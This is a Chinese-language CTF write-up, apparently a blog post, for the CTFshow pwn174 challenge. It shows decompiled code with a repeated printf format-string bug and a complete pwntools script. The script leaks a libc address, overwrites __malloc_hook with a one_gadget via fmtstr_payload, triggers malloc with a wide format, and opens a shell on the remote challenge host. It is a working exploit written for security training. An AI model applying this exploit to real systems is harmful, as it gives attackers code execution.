CTFshow-pwn174

[!NOTE]

fmt?但是也跟之前不一样了好像

  • 远程环境:Ubuntu 18.04

libc 版本为 Ubuntu GLIBC 2.27-3ubuntu1

检查保护, got 表不可修改

niuyingying@niuyingying:~/ctf/pwn$ checksec ./pwn174
[*] '/home/niuyingying/ctf/pwn/pwn174'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        PIE enabled

程序流程非常简单,三次格式字符串漏洞

void __fastcall __noreturn start(__int64 a1, __int64 a2, void (*a3)(void))
{
  __int64 v3; // rax
  int v4; // esi
  __int64 v5; // [rsp-8h] [rbp-8h] BYREF
  char *retaddr; // [rsp+0h] [rbp+0h] BYREF

  v4 = v5;
  v5 = v3;
  _libc_start_main(main, v4, &retaddr, init, fini, a3, &v5);
  __halt();
}
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  char *v3; // rax
  int i; // [rsp+Ch] [rbp-114h]
  char s[264]; // [rsp+10h] [rbp-110h] BYREF
  unsigned __int64 v6; // [rsp+118h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  sub_86A();
  for ( i = 0; i <= 2; ++i )
  {
    v3 = fgets(s, 256, stdin);
    printf(v3);
  }
  exit(0);
}

需要知道的是,在旧版 glibc 中,可通过构造超大宽度的 printf 格式符,间接触发内部的 malloc/free,从而配合 hook 覆盖实现控制流劫持

攻击脚本如下

from pwn import *

context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'debug'

elf = ELF('./pwn174')
libc = ELF('./libc-2.27.so')

# io = process('./pwn174')
io = remote("pwn.challenge.ctf.show",28221)

# io = gdb.debug('./pwn173', gdbscript='b *0x4015C3\nb *0x401840\nc')

# io = gdb.debug(
#     './pwn174',
#     gdbscript='''
# set pagination off
# set sysroot /
# handle SIGALRM nostop noprint nopass
# breakrva 0x9CB
# c
# '''
# )

io.sendline(b"aa%43$p")

io.recvuntil(b"0x")
leak = int(io.recvn(12),16)
print(hex(leak))

# 0x762621021b97 - 0x762621000000
libc_base = leak - 0x21b97
print(hex(libc_base))

one_gadget = libc_base + 0x10a38c
malloc_hook = libc_base + libc.sym['__malloc_hook']

payload = fmtstr_payload(8, {malloc_hook: one_gadget})
io.sendline(payload)

io.sendline('%100000c')

io.interactive()
posted @ 2026-08-10 16:30  AurY1n  阅读(3)  评论(0)    收藏  举报